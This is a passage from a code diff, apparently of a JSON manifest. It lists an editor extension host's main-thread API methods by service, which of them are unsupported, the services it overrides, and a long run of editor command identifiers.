58+ "$provideCustomAgents",
59+ "$provideHooks",
60+ "$provideInstructions",
61+ "$providePlugins",
62+ "$provideSkills",
63+ "$provideSlashCommands",
64+ "$registerAgent",
65+ "$registerAgentCompletionsProvider",
66+ "$registerChatParticipantDetectionProvider",
67+ "$registerChatSessionCustomizationProvider",
68+ "$registerPromptFileProvider",
69+ "$transferActiveChatSession (unsupported)",
70+ "$unregisterAgent",
71+ "$unregisterAgentCompletionsProvider",
72+ "$unregisterChatParticipantDetectionProvider",
73+ "$unregisterChatSessionCustomizationProvider",
74+ "$unregisterPromptFileProvider",
75+ "$updateAgent"
76+ ],
77+ "MainThreadChatContext": [
78+ "$executeChatContextItemCommand (unsupported)",
79+ "$registerChatExplicitContextProvider",
80+ "$registerChatResourceContextProvider",
81+ "$registerChatWorkspaceContextProvider",
82+ "$unregisterChatContextProvider",
83+ "$updateWorkspaceContextItems"
84+ ],
85+ "MainThreadChatDebug": [
86+ "$acceptChatDebugEvent",
87+ "$registerChatDebugLogProvider",
88+ "$subscribeToCoreDebugEvents",
89+ "$unregisterChatDebugLogProvider",
90+ "$unsubscribeFromCoreDebugEvents"
91+ ],
92+ "MainThreadChatInputNotification": [
93+ "$disposeNotification",
94+ "$setNotification"
95+ ],
96+ "MainThreadChatOutputRenderer": [
97+ "$registerChatOutputRenderer",
98+ "$unregisterChatOutputRenderer"
99+ ],
100+ "MainThreadChatQuota": [
101+ "$updateQuotas"
102+ ],
103+ "MainThreadChatSessions": [
104+ "$addOrUpdateChatSessionItem",
105+ "$handleAnchorResolve",
106+ "$handleProgressChunk",
107+ "$handleProgressComplete",
108+ "$onDidChangeChatSessionOptions",
109+ "$onDidChangeChatSessionProviderOptions",
110+ "$onDidCommitChatSessionItem",
111+ "$registerChatSessionContentProvider",
112+ "$registerChatSessionItemController",
113+ "$unregisterChatSessionContentProvider",
114+ "$unregisterChatSessionItemController",
115+ "$updateChatSessionInputState",
116+ "$updateChatSessionItemControllerCapabilities",
117+ "$updateChatSessionItems"
118+ ],
119+ "MainThreadChatSkills": [
120+ "$acceptToolProgress",
121+ "$countTokensForInvocation (unsupported)",
122+ "$getTools",
123+ "$invokeTool (unsupported)",
124+ "$registerTool",
125+ "$registerToolWithDefinition",
126+ "$unregisterTool"
127+ ],
128+ "MainThreadChatStatus": [
129+ "$disposeEntry",
130+ "$setEntry"
131+ ],
132+ "MainThreadClipboard": [
133+ "$readText",
134+ "$writeText"
135+ ],
136+ "MainThreadCodeMapper": [
137+ "$handleProgress",
138+ "$registerCodeMapperProvider",
139+ "$unregisterCodeMapperProvider"
140+ ],
141+ "MainThreadCommands": [
142+ "$executeCommand",
143+ "$fireCommandActivationEvent",
144+ "$getCommands",
145+ "$registerCommand",
146+ "$unregisterCommand"
147+ ],
148+ "MainThreadComments": [
149+ "$createCommentThread",
150+ "$deleteCommentThread",
151+ "$hideCommentThread",
152+ "$registerCommentController",
153+ "$revealCommentThread",
154+ "$unregisterCommentController",
155+ "$updateCommentControllerFeatures",
156+ "$updateCommentThread",
157+ "$updateCommentingRanges"
158+ ],
159+ "MainThreadConfiguration": [
160+ "$removeConfigurationOption",
161+ "$updateConfigurationOption"
162+ ],
163+ "MainThreadConsole": [
164+ "$logExtensionHostMessage"
165+ ],
166+ "MainThreadCustomEditors": [
167+ "$onContentChange",
168+ "$onDidEdit",
169+ "$registerCustomEditorProvider",
170+ "$registerTextEditorProvider",
171+ "$unregisterEditorProvider"
172+ ],
173+ "MainThreadDataChannels": [
174+ "$acceptLinkPresentationProviderData",
175+ "$createLinkPresentationWatcher",
176+ "$disposeLinkPresentationWatcher",
177+ "$registerLinkPresentationProvider",
178+ "$unregisterLinkPresentationProvider"
179+ ],
180+ "MainThreadDebugService": [
181+ "$acceptDAError",
182+ "$acceptDAExit",
183+ "$acceptDAMessage",
184+ "$appendDebugConsole",
185+ "$customDebugAdapterRequest",
186+ "$getDebugProtocolBreakpoint",
187+ "$registerBreakpoints",
188+ "$registerDebugAdapterDescriptorFactory",
189+ "$registerDebugConfigurationProvider",
190+ "$registerDebugTypes",
191+ "$registerDebugVisualizer",
192+ "$registerDebugVisualizerTree",
193+ "$sessionCached",
194+ "$setDebugSessionName",
195+ "$startDebugging",
196+ "$stopDebugging",
197+ "$unregisterBreakpoints",
198+ "$unregisterDebugAdapterDescriptorFactory",
199+ "$unregisterDebugConfigurationProvider",
200+ "$unregisterDebugVisualizer",
201+ "$unregisterDebugVisualizerTree"
202+ ],
203+ "MainThreadDecorations": [
204+ "$onDidChange",
205+ "$registerDecorationProvider",
206+ "$unregisterDecorationProvider"
207+ ],
208+ "MainThreadDiaglogs": [
209+ "$showOpenDialog",
210+ "$showSaveDialog"
211+ ],
212+ "MainThreadDiagnostics": [
213+ "$changeMany",
214+ "$clear"
215+ ],
216+ "MainThreadDocumentContentProviders": [
217+ "$onVirtualDocumentChange",
218+ "$registerTextContentProvider",
219+ "$unregisterTextContentProvider"
220+ ],
221+ "MainThreadDocumentDiff": [
222+ "$computeDocumentDiff"
223+ ],
224+ "MainThreadDocuments": [
225+ "$tryCreateDocument",
226+ "$tryOpenDocument",
227+ "$trySaveDocument"
228+ ],
229+ "MainThreadDownloadService": [
230+ "$download"
231+ ],
232+ "MainThreadEditorInsets": [
233+ "$createEditorInset",
234+ "$disposeEditorInset",
235+ "$postMessage",
236+ "$setHtml",
237+ "$setOptions"
238+ ],
239+ "MainThreadEditorTabs": [
240+ "$closeGroup",
241+ "$closeTab",
242+ "$moveTab"
243+ ],
244+ "MainThreadEmbeddings": [
245+ "$computeEmbeddings",
246+ "$registerEmbeddingProvider",
247+ "$unregisterEmbeddingProvider"
248+ ],
249+ "MainThreadErrors": [
250+ "$onUnexpectedError"
251+ ],
252+ "MainThreadExtensionService": [
253+ "$activateExtension",
254+ "$asBrowserUri",
255+ "$getAllStaticBrowserUris",
256+ "$getExtension",
257+ "$onDidActivateExtension",
258+ "$onExtensionActivationError",
259+ "$onExtensionRuntimeError",
260+ "$onWillActivateExtension",
261+ "$setPerformanceMarks"
262+ ],
263+ "MainThreadFileSystem": [
264+ "$copy",
265+ "$delete",
266+ "$ensureActivation",
267+ "$mkdir",
268+ "$onFileSystemChange",
269+ "$readFile",
270+ "$readdir",
271+ "$registerFileSystemProvider",
272+ "$rename",
273+ "$stat",
274+ "$unregisterProvider",
275+ "$writeFile"
276+ ],
277+ "MainThreadFileSystemEventService": [
278+ "$unwatch",
279+ "$watch"
280+ ],
281+ "MainThreadGitExtension": [
282+ "$onDidChangeRepository"
283+ ],
284+ "MainThreadInteractive": [],
285+ "MainThreadLabelService": [
286+ "$registerResourceLabelFormatter",
287+ "$unregisterResourceLabelFormatter"
288+ ],
289+ "MainThreadLanguageFeatures": [
290+ "$emitCodeLensEvent",
291+ "$emitDocumentRangeSemanticTokensEvent",
292+ "$emitDocumentSemanticTokensEvent",
293+ "$emitFoldingRangeEvent",
294+ "$emitInlayHintsEvent",
295+ "$emitInlineCompletionModelInfoChange",
296+ "$emitInlineCompletionProviderOptionsChange",
297+ "$emitInlineCompletionsChange",
298+ "$emitInlineValuesEvent",
299+ "$registerCallHierarchyProvider",
300+ "$registerCodeActionSupport",
301+ "$registerCodeLensSupport",
302+ "$registerCompletionsProvider",
303+ "$registerDeclarationSupport",
304+ "$registerDefinitionSupport",
305+ "$registerDocumentColorProvider",
306+ "$registerDocumentFormattingSupport",
307+ "$registerDocumentHighlightProvider",
308+ "$registerDocumentLinkProvider",
309+ "$registerDocumentOnDropEditProvider",
310+ "$registerDocumentRangeSemanticTokensProvider",
311+ "$registerDocumentSemanticTokensProvider",
312+ "$registerDocumentSymbolProvider",
313+ "$registerEvaluatableExpressionProvider",
314+ "$registerFoldingRangeProvider",
315+ "$registerHoverProvider",
316+ "$registerImplementationSupport",
317+ "$registerInlayHintsProvider",
318+ "$registerInlineCompletionsSupport",
319+ "$registerInlineValuesProvider",
320+ "$registerLinkedEditingRangeProvider",
321+ "$registerMultiDocumentHighlightProvider",
322+ "$registerNavigateTypeSupport",
323+ "$registerNewSymbolNamesProvider",
324+ "$registerOnTypeFormattingSupport",
325+ "$registerPasteEditProvider",
326+ "$registerRangeFormattingSupport",
327+ "$registerReferenceSupport",
328+ "$registerRenameSupport",
329+ "$registerSelectionRangeProvider",
330+ "$registerSignatureHelpProvider",
331+ "$registerTypeDefinitionSupport",
332+ "$registerTypeHierarchyProvider",
333+ "$resolveDocumentOnDropFileData",
334+ "$resolvePasteFileData",
335+ "$setLanguageConfiguration",
336+ "$unregister"
337+ ],
338+ "MainThreadLanguageModels": [
339+ "$cancelLanguageModelChatRequest",
340+ "$countTokens (unsupported)",
341+ "$fileIsIgnored",
342+ "$onLMProviderChange",
343+ "$registerFileIgnoreProvider",
344+ "$registerLanguageModelProvider",
345+ "$reportResponseDone",
346+ "$reportResponsePart",
347+ "$selectChatModels",
348+ "$tryStartChatRequest (unsupported)",
349+ "$unregisterFileIgnoreProvider",
350+ "$unregisterProvider"
351+ ],
352+ "MainThreadLanguages": [
353+ "$changeLanguage",
354+ "$computeFullSyntaxHighlighting",
355+ "$removeLanguageStatus",
356+ "$setLanguageStatus",
357+ "$tokensAtPosition"
358+ ],
359+ "MainThreadLocalizationShape": [
360+ "$fetchBuiltInBundleUri",
361+ "$fetchBundleContents"
362+ ],
363+ "MainThreadLogger": [
364+ "$createLogger",
365+ "$deregisterLogger",
366+ "$flush",
367+ "$log",
368+ "$registerLogger",
369+ "$setVisibility"
370+ ],
371+ "MainThreadManagedSockets": [
372+ "$onDidManagedSocketClose",
373+ "$onDidManagedSocketEnd",
374+ "$onDidManagedSocketHaveData",
375+ "$registerSocketFactory",
376+ "$unregisterSocketFactory"
377+ ],
378+ "MainThreadMcpShape": [
379+ "$deleteMcpCollection",
380+ "$disposeMcpGateway",
381+ "$getTokenForProviderId (unsupported)",
382+ "$getTokenFromServerMetadata (unsupported)",
383+ "$logMcpAuthSetup",
384+ "$onDidChangeState",
385+ "$onDidPublishLog",
386+ "$onDidReceiveMessage",
387+ "$startMcpGateway (unsupported)",
388+ "$upsertMcpCollection"
389+ ],
390+ "MainThreadMessageService": [
391+ "$showMessage"
392+ ],
393+ "MainThreadMeteredConnection": [],
394+ "MainThreadNotebook": [
395+ "$emitCellStatusBarEvent",
396+ "$registerNotebookCellStatusBarItemProvider",
397+ "$registerNotebookSerializer",
398+ "$unregisterNotebookCellStatusBarItemProvider",
399+ "$unregisterNotebookSerializer"
400+ ],
401+ "MainThreadNotebookDocumentsShape": [
402+ "$tryCreateNotebook (unsupported)",
403+ "$tryOpenNotebook (unsupported)",
404+ "$trySaveNotebook (unsupported)"
405+ ],
406+ "MainThreadNotebookEditorsShape": [
407+ "$tryRevealRange (unsupported)",
408+ "$trySetSelections",
409+ "$tryShowNotebookDocument (unsupported)"
410+ ],
411+ "MainThreadNotebookKernels": [
412+ "$addKernel",
413+ "$addKernelDetectionTask",
414+ "$addKernelSourceActionProvider",
415+ "$beginNotebookExecution",
416+ "$completeExecution",
417+ "$completeNotebookExecution",
418+ "$createExecution",
419+ "$createNotebookExecution",
420+ "$emitNotebookKernelSourceActionsChangeEvent",
421+ "$postMessage",
422+ "$receiveVariable",
423+ "$removeKernel",
424+ "$removeKernelDetectionTask",
425+ "$removeKernelSourceActionProvider",
426+ "$updateExecution",
427+ "$updateKernel",
428+ "$updateNotebookPriority",
429+ "$variablesUpdated"
430+ ],
431+ "MainThreadNotebookRenderers": [
432+ "$postMessage"
433+ ],
434+ "MainThreadOutputService": [
435+ "$close",
436+ "$dispose",
437+ "$register",
438+ "$reveal",
439+ "$update"
440+ ],
441+ "MainThreadPower": [
442+ "$getCurrentThermalState",
443+ "$getSystemIdleState",
444+ "$getSystemIdleTime",
445+ "$isOnBatteryPower",
446+ "$isPowerSaveBlockerStarted",
447+ "$startPowerSaveBlocker",
448+ "$stopPowerSaveBlocker"
449+ ],
450+ "MainThreadProfileContentHandlers": [
451+ "$registerProfileContentHandler",
452+ "$unregisterProfileContentHandler"
453+ ],
454+ "MainThreadProgress": [
455+ "$progressEnd",
456+ "$progressReport",
457+ "$startProgress"
458+ ],
459+ "MainThreadQuickDiff": [
460+ "$createSourceControlDiffInformation",
461+ "$disposeSourceControlDiffInformation",
462+ "$registerQuickDiffProvider",
463+ "$unregisterQuickDiffProvider"
464+ ],
465+ "MainThreadQuickOpen": [
466+ "$createOrUpdate",
467+ "$dispose",
468+ "$input",
469+ "$setError",
470+ "$setItems",
471+ "$show"
472+ ],
473+ "MainThreadSCM": [
474+ "$onDidChangeArtifacts",
475+ "$onDidChangeHistoryProviderCurrentHistoryItemRefs",
476+ "$onDidChangeHistoryProviderHistoryItemRefs",
477+ "$registerGroups",
478+ "$registerSourceControl",
479+ "$setInputBoxEnablement",
480+ "$setInputBoxPlaceholder",
481+ "$setInputBoxValue",
482+ "$setInputBoxVisibility",
483+ "$setValidationProviderIsEnabled",
484+ "$showValidationMessage",
485+ "$spliceResourceStates",
486+ "$unregisterGroup",
487+ "$unregisterSourceControl",
488+ "$updateGroup",
489+ "$updateGroupLabel",
490+ "$updateSourceControl"
491+ ],
492+ "MainThreadSearch": [
493+ "$handleFileMatch",
494+ "$handleKeywordResult",
495+ "$handleTelemetry",
496+ "$handleTextMatch",
497+ "$registerAITextSearchProvider",
498+ "$registerFileSearchProvider",
499+ "$registerTextSearchProvider",
500+ "$unregisterProvider"
501+ ],
502+ "MainThreadSecretState": [
503+ "$deletePassword",
504+ "$getKeys",
505+ "$getPassword",
506+ "$setPassword"
507+ ],
508+ "MainThreadShare": [
509+ "$registerShareProvider",
510+ "$unregisterShareProvider"
511+ ],
512+ "MainThreadSpeechProvider": [
513+ "$emitKeywordRecognitionEvent",
514+ "$emitSpeechToTextEvent",
515+ "$emitTextToSpeechEvent",
516+ "$registerProvider",
517+ "$unregisterProvider"
518+ ],
519+ "MainThreadStatusBar": [
520+ "$disposeEntry",
521+ "$setEntry"
522+ ],
523+ "MainThreadStorage": [
524+ "$initializeExtensionStorage",
525+ "$registerExtensionStorageKeysToSync",
526+ "$setValue"
527+ ],
528+ "MainThreadTask": [
529+ "$createTaskId",
530+ "$customExecutionComplete",
531+ "$executeTask",
532+ "$fetchTasks",
533+ "$getTaskExecution",
534+ "$registerSupportedExecutions",
535+ "$registerTaskProvider",
536+ "$registerTaskSystem",
537+ "$terminateTask",
538+ "$unregisterTaskProvider"
539+ ],
540+ "MainThreadTelemetry": [
541+ "$publicLog",
542+ "$publicLog2"
543+ ],
544+ "MainThreadTerminalService": [
545+ "$createTerminal",
546+ "$dispose",
547+ "$hide",
548+ "$registerCompletionProvider",
549+ "$registerProcessSupport",
550+ "$registerProfileProvider",
551+ "$registerQuickFixProvider",
552+ "$sendProcessData",
553+ "$sendProcessExit",
554+ "$sendProcessProperty",
555+ "$sendProcessReady",
556+ "$sendText",
557+ "$setEnvironmentVariableCollection",
558+ "$show",
559+ "$startLinkProvider",
560+ "$startSendingCommandEvents",
561+ "$startSendingDataEvents",
562+ "$stopLinkProvider",
563+ "$stopSendingCommandEvents",
564+ "$stopSendingDataEvents",
565+ "$unregisterCompletionProvider",
566+ "$unregisterProfileProvider",
567+ "$unregisterQuickFixProvider"
568+ ],
569+ "MainThreadTerminalShellIntegration": [
570+ "$executeCommand"
571+ ],
572+ "MainThreadTesting": [
573+ "$addTestsToRun",
574+ "$appendCoverage",
575+ "$appendOutputToRun",
576+ "$appendTestMessagesInRun",
577+ "$finishedExtensionTestRun",
578+ "$finishedTestRunTask",
579+ "$getCoverageDetails",
580+ "$markTestRetired",
581+ "$publishDiff",
582+ "$publishTestRunProfile",
583+ "$registerTestController",
584+ "$removeTestProfile",
585+ "$runTests",
586+ "$startedExtensionTestRun",
587+ "$startedTestRunTask",
588+ "$subscribeToDiffs",
589+ "$unregisterTestController",
590+ "$unsubscribeFromDiffs",
591+ "$updateController",
592+ "$updateTestRunConfig",
593+ "$updateTestStateInRun"
594+ ],
595+ "MainThreadTextEditors": [
596+ "$getDiffInformation",
597+ "$registerTextEditorDecorationType",
598+ "$removeTextEditorDecorationType",
599+ "$tryApplyEdits",
600+ "$tryHideEditor",
601+ "$tryInsertSnippet",
602+ "$tryRevealRange",
603+ "$trySetDecorations",
604+ "$trySetDecorationsFast",
605+ "$trySetOptions",
606+ "$trySetSelections",
607+ "$tryShowEditor",
608+ "$tryShowTextDocument"
609+ ],
610+ "MainThreadTheming": [],
611+ "MainThreadTimeline": [
612+ "$emitTimelineChangeEvent",
613+ "$registerTimelineProvider",
614+ "$unregisterTimelineProvider"
615+ ],
616+ "MainThreadTreeViews": [
617+ "$disposeTree",
618+ "$logResolveTreeNodeFailure",
619+ "$refresh",
620+ "$registerTreeViewDataProvider",
621+ "$resolveDropFileData",
622+ "$reveal",
623+ "$setBadge",
624+ "$setMessage",
625+ "$setTitle"
626+ ],
627+ "MainThreadTunnelService": [
628+ "$closeTunnel",
629+ "$getTunnels",
630+ "$hasTunnelProvider",
631+ "$onFoundNewCandidates",
632+ "$openTunnel",
633+ "$registerPortsAttributesProvider",
634+ "$setCandidateFilter",
635+ "$setCandidatePortSource",
636+ "$setRemoteTunnelService",
637+ "$setTunnelProvider",
638+ "$unregisterPortsAttributesProvider"
639+ ],
640+ "MainThreadUriOpeners": [
641+ "$registerUriOpener",
642+ "$unregisterUriOpener"
643+ ],
644+ "MainThreadUrls": [
645+ "$createAppUri",
646+ "$registerUriHandler",
647+ "$unregisterUriHandler"
648+ ],
649+ "MainThreadWebviewPanels": [
650+ "$createWebviewPanel",
651+ "$disposeWebview",
652+ "$registerSerializer",
653+ "$reveal",
654+ "$setIconPath",
655+ "$setTitle",
656+ "$unregisterSerializer"
657+ ],
658+ "MainThreadWebviewViews": [
659+ "$registerWebviewViewProvider",
660+ "$setWebviewViewBadge",
661+ "$setWebviewViewDescription",
662+ "$setWebviewViewTitle",
663+ "$show",
664+ "$unregisterWebviewViewProvider"
665+ ],
666+ "MainThreadWebviews": [
667+ "$postMessage",
668+ "$setHtml",
669+ "$setOptions"
670+ ],
671+ "MainThreadWindow": [
672+ "$asExternalUri",
673+ "$getInitialState",
674+ "$openUri"
675+ ],
676+ "MainThreadWorkspace": [
677+ "$checkExists",
678+ "$isResourceTrusted",
679+ "$loadCertificates",
680+ "$lookupAuthorization",
681+ "$lookupKerberosAuthorization",
682+ "$registerCanonicalUriProvider",
683+ "$registerEditSessionIdentityProvider",
684+ "$requestResourceTrust",
685+ "$requestWorkspaceTrust",
686+ "$resolveDecoding",
687+ "$resolveEncoding",
688+ "$resolveProxy",
689+ "$save",
690+ "$saveAll",
691+ "$startFileSearch",
692+ "$startTextSearch",
693+ "$unregisterCanonicalUriProvider",
694+ "$unregisterEditSessionIdentityProvider",
695+ "$updateWorkspaceFolders",
696+ "$validateDetectedEncoding"
697+ ]
698+ },
699+ "overridden": [
700+ "IClipboardService",
701+ "IDialogService",
702+ "IEditorService",
703+ "IFileDialogService",
704+ "ILanguageStatusService",
705+ "INotificationService",
706+ "IOpenerService",
707+ "IProgressService"
708+ ],
709+ "commands": [
710+ "_executeCodeActionProvider",
711+ "_executeCodeLensProvider",
712+ "_executeColorPresentationProvider",
713+ "_executeCompletionItemProvider",
714+ "_executeDeclarationProvider",
715+ "_executeDeclarationProvider_recursive",
716+ "_executeDefinitionProvider",
717+ "_executeDefinitionProvider_recursive",
718+ "_executeDocumentColorProvider",
719+ "_executeDocumentHighlights",
720+ "_executeDocumentRenameProvider",
721+ "_executeDocumentSymbolProvider",
722+ "_executeFoldingRangeProvider",
723+ "_executeFormatDocumentProvider",
724+ "_executeFormatOnTypeProvider",
725+ "_executeFormatRangeProvider",
726+ "_executeHoverProvider",
727+ "_executeHoverProvider_recursive",
728+ "_executeImplementationProvider",
729+ "_executeImplementationProvider_recursive",
730+ "_executeInlayHintProvider",
731+ "_executeLinkProvider",
732+ "_executeLinkedEditingProvider",
733+ "_executePrepareCallHierarchy",
734+ "_executePrepareRename",
735+ "_executePrepareTypeHierarchy",
736+ "_executeProvideIncomingCalls",
737+ "_executeProvideOutgoingCalls",
738+ "_executeProvideSubtypes",
739+ "_executeProvideSupertypes",
740+ "_executeReferenceProvider",
741+ "_executeReferenceProvider_recursive",
742+ "_executeSelectionRangeProvider",
743+ "_executeSignatureHelpProvider",
744+ "_executeTypeDefinitionProvider",
745+ "_executeTypeDefinitionProvider_recursive",
746+ "_extensionTests.getLogLevel",
747+ "_extensionTests.setLogLevel",
748+ "_generateCommandsDocumentation",
749+ "_generateContextKeyInfo",
750+ "_lastCursorMoveToSelect",
751+ "_lineSelect",
752+ "_lineSelectDrag",
753+ "_moveTo",
754+ "_moveToSelect",
755+ "_provideDocumentRangeSemanticTokens",
756+ "_provideDocumentRangeSemanticTokensLegend",
757+ "_provideDocumentSemanticTokens",
758+ "_provideDocumentSemanticTokensLegend",
759+ "_remoteCLI.getSystemStatus",
760+ "_remoteCLI.manageExtensions",
761+ "_remoteCLI.openExternal",
762+ "_remoteCLI.windowOpen",
763+ "_setContext",
764+ "_snippet.markAsUsed",
765+ "_telemetry.setCapiAssignmentContext",
766+ "_wordSelect",
767+ "_wordSelectDrag",
768+ "_workbench.fetchJSON",
769+ "_workbench.revertAllDirty",
770+ "acceptAlternativeSelectedSuggestion",
771+ "acceptRenameInput",
772+ "acceptRenameInputWithPreview",
773+ "acceptSelectedCodeAction",
774+ "acceptSelectedSuggestion",
775+ "acceptSelectedSuggestionOnEnter",
776+ "acceptSnippet",
777+ "actions.find",
778+ "actions.findWithSelection",
779+ "cancelLinkedEditingInput",
780+ "cancelRenameInput",
781+ "cancelSelection",
782+ "clearFilterCodeActionWidget",
783+ "closeFindWidget",
784+ "closeMarkersNavigation",
785+ "closeParameterHints",
786+ "closeReferenceSearch",
787+ "closeReferenceSearchEditor",
788+ "codelens.showLensesInCurrentLine",
789+ "collapseSectionCodeAction",
790+ "columnSelect",
791+ "commentsClearFilterText",
792+ "commentsFocusFilter",
793+ "commentsFocusViewFromFilter",
794+ "compositionEnd",
795+ "compositionStart",
796+ "compositionType",
797+ "createCursor",
798+ "cursorBottom",
799+ "cursorBottomSelect",
800+ "cursorColumnSelectDown",
801+ "cursorColumnSelectLeft",
802+ "cursorColumnSelectPageDown",
803+ "cursorColumnSelectPageUp",
804+ "cursorColumnSelectRight",
805+ "cursorColumnSelectUp",
806+ "cursorDown",
807+ "cursorDownSelect",
808+ "cursorEnd",
809+ "cursorEndSelect",
810+ "cursorHome",
811+ "cursorHomeSelect",
812+ "cursorLeft",
813+ "cursorLeftSelect",
814+ "cursorLineEnd",
815+ "cursorLineEndSelect",
816+ "cursorLineStart",
817+ "cursorLineStartSelect",
818+ "cursorMove",
819+ "cursorPageDown",
820+ "cursorPageDownSelect",
821+ "cursorPageUp",
822+ "cursorPageUpSelect",
823+ "cursorRedo",
824+ "cursorRight",
825+ "cursorRightSelect",
826+ "cursorTop",
827+ "cursorTopSelect",
828+ "cursorUndo",
829+ "cursorUp",
830+ "cursorUpSelect",
831+ "cursorWordAccessibilityLeft",
832+ "cursorWordAccessibilityLeftSelect",
833+ "cursorWordAccessibilityRight",
834+ "cursorWordAccessibilityRightSelect",
835+ "cursorWordEndLeft",
836+ "cursorWordEndLeftSelect",
837+ "cursorWordEndRight",
838+ "cursorWordEndRightSelect",
839+ "cursorWordLeft",
840+ "cursorWordLeftSelect",
841+ "cursorWordPartLeft",
842+ "cursorWordPartLeftSelect",
843+ "cursorWordPartRight",
844+ "cursorWordPartRightSelect",
845+ "cursorWordPartStartLeft",
846+ "cursorWordPartStartLeftSelect",
847+ "cursorWordRight",
848+ "cursorWordRightSelect",
849+ "cursorWordStartLeft",
850+ "cursorWordStartLeftSelect",
851+ "cursorWordStartRight",
852+ "cursorWordStartRightSelect",
853+ "cut",
854+ "default:compositionEnd",
855+ "default:compositionStart",
856+ "default:compositionType",
857+ "default:cut",
858+ "default:paste",
859+ "default:redo",
860+ "default:replacePreviousChar",
861+ "default:type",
862+ "default:undo",
863+ "deleteAllLeft",
864+ "deleteAllRight",
865+ "deleteInsideWord",
866+ "deleteLeft",
867+ "deleteRight",
868+ "deleteWordEndLeft",
869+ "deleteWordEndRight",
870+ "deleteWordLeft",
871+ "deleteWordPartLeft",
872+ "deleteWordPartRight",
873+ "deleteWordRight",
874+ "deleteWordStartLeft",
875+ "deleteWordStartRight",
876+ "diffEditor.collapseAllUnchangedRegions",
877+ "diffEditor.exitCompareMove",
878+ "diffEditor.revert",
879+ "diffEditor.showAllUnchangedRegions",
880+ "diffEditor.switchSide",
881+ "diffEditor.toggleCollapseUnchangedRegions",
882+ "diffEditor.toggleShowMovedCodeBlocks",
883+ "diffEditor.toggleUseInlineViewWhenSpaceIsLimited",
884+ "editor.action.accessibilityHelp",
885+ "editor.action.accessibilityHelpConfigureAssignedKeybindings",
886+ "editor.action.accessibilityHelpConfigureKeybindings",
887+ "editor.action.accessibilityHelpOpenHelpLink",
888+ "editor.action.accessibleDiffViewer.next",
889+ "editor.action.accessibleDiffViewer.prev",
890+ "editor.action.accessibleView",
891+ "editor.action.accessibleViewAcceptInlineCompletion",
892+ "editor.action.accessibleViewDisableHint",
893+ "editor.action.accessibleViewGoToSymbol",
894+ "editor.action.accessibleViewNext",
895+ "editor.action.accessibleViewNextCodeBlock",
896+ "editor.action.accessibleViewPrevious",
897+ "editor.action.accessibleViewPreviousCodeBlock",
898+ "editor.action.addCommentLine",
899+ "editor.action.addCursorsToBottom",
900+ "editor.action.addCursorsToTop",
901+ "editor.action.addSelectionToNextFindMatch",
902+ "editor.action.addSelectionToPreviousFindMatch",
903+ "editor.action.autoFix",
904+ "editor.action.blockComment",
905+ "editor.action.cancelSelectionAnchor",
906+ "editor.action.changeAll",
907+ "editor.action.changeTabDisplaySize",
908+ "editor.action.clipboardCopyAction",
909+ "editor.action.clipboardCopyWithSyntaxHighlightingAction",
910+ "editor.action.clipboardCutAction",
911+ "editor.action.clipboardPasteAction",
912+ "editor.action.codeAction",
913+ "editor.action.commentLine",
914+ "editor.action.copyLinesDownAction",
915+ "editor.action.copyLinesUpAction",
916+ "editor.action.debugEditorGpuRenderer",
917+ "editor.action.decreaseHoverVerbosityLevel",
918+ "editor.action.deleteLines",
919+ "editor.action.detectIndentation",
920+ "editor.action.diffReview.next",
921+ "editor.action.diffReview.prev",
922+ "editor.action.duplicateSelection",
923+ "editor.action.findReferences",
924+ "editor.action.fixAll",
925+ "editor.action.focusNextCursor",
926+ "editor.action.focusPreviousCursor",
927+ "editor.action.focusStickyScroll",
928+ "editor.action.fontZoomIn",
929+ "editor.action.fontZoomOut",
930+ "editor.action.fontZoomReset",
931+ "editor.action.forceRetokenize",
932+ "editor.action.format",
933+ "editor.action.formatChanges",
934+ "editor.action.formatDocument",
935+ "editor.action.formatDocument.multiple",
936+ "editor.action.formatDocument.none",
937+ "editor.action.formatSelection",
938+ "editor.action.formatSelection.multiple",
939+ "editor.action.goToBottomHover",
940+ "editor.action.goToDeclaration",
941+ "editor.action.goToFocusedStickyScrollLine",
942+ "editor.action.goToImplementation",
943+ "editor.action.goToLocations",
944+ "editor.action.goToMatchFindAction",
945+ "editor.action.goToReferences",
946+ "editor.action.goToSelectionAnchor",
947+ "editor.action.goToTopHover",
948+ "editor.action.goToTypeDefinition",
949+ "editor.action.hideColorPicker",
950+ "editor.action.hideHover",
951+ "editor.action.hideLongLineWarningHover",
952+ "editor.action.inPlaceReplace.down",
953+ "editor.action.inPlaceReplace.up",
954+ "editor.action.increaseHoverVerbosityLevel",
955+ "editor.action.indentLines",
956+ "editor.action.indentUsingSpaces",
957+ "editor.action.indentUsingTabs",
958+ "editor.action.indentationToSpaces",
959+ "editor.action.indentationToTabs",
960+ "editor.action.inlineSuggest.acceptNextLine",
961+ "editor.action.inlineSuggest.acceptNextWord",
962+ "editor.action.inlineSuggest.cancelSnooze",
963+ "editor.action.inlineSuggest.commit",
964+ "editor.action.inlineSuggest.commitAlternativeAction",
965+ "editor.action.inlineSuggest.dev.extractRepro",
966+ "editor.action.inlineSuggest.hide",
967+ "editor.action.inlineSuggest.jump",
968+ "editor.action.inlineSuggest.renameSymbol",
969+ "editor.action.inlineSuggest.showNext",
970+ "editor.action.inlineSuggest.showPrevious",
971+ "editor.action.inlineSuggest.snooze",
972+ "editor.action.inlineSuggest.toggleAlwaysShowToolbar",
973+ "editor.action.inlineSuggest.toggleShowCollapsed",
974+ "editor.action.inlineSuggest.trigger",
975+ "editor.action.insertColorWithStandaloneColorPicker",
976+ "editor.action.insertCursorAbove",
977+ "editor.action.insertCursorAtEndOfEachLineSelected",
978+ "editor.action.insertCursorBelow",
979+ "editor.action.insertFinalNewLine",
980+ "editor.action.insertLineAfter",
981+ "editor.action.insertLineBefore",
982+ "editor.action.joinLines",
983+ "editor.action.jumpToBracket",
984+ "editor.action.linkedEditing",
985+ "editor.action.marker.next",
986+ "editor.action.marker.nextInFiles",
987+ "editor.action.marker.prev",
988+ "editor.action.marker.prevInFiles",
989+ "editor.action.measureExtHostLatency",
990+ "editor.action.moveCarretLeftAction",
991+ "editor.action.moveCarretRightAction",
992+ "editor.action.moveLinesDownAction",
993+ "editor.action.moveLinesUpAction",
994+ "editor.action.moveSelectionToNextFindMatch",
995+ "editor.action.moveSelectionToPreviousFindMatch",
996+ "editor.action.nextMatchFindAction",
997+ "editor.action.nextSelectionMatchFindAction",
998+ "editor.action.openDeclarationToTheSide",
999+ "editor.action.openLink",
1000+ "editor.action.organizeImports",
1001+ "editor.action.outdentLines",
1002+ "editor.action.pageDownHover",
1003+ "editor.action.pageUpHover",
1004+ "editor.action.pasteAs",
1005+ "editor.action.pasteAsText",
1006+ "editor.action.peekDeclaration",
1007+ "editor.action.peekDefinition",
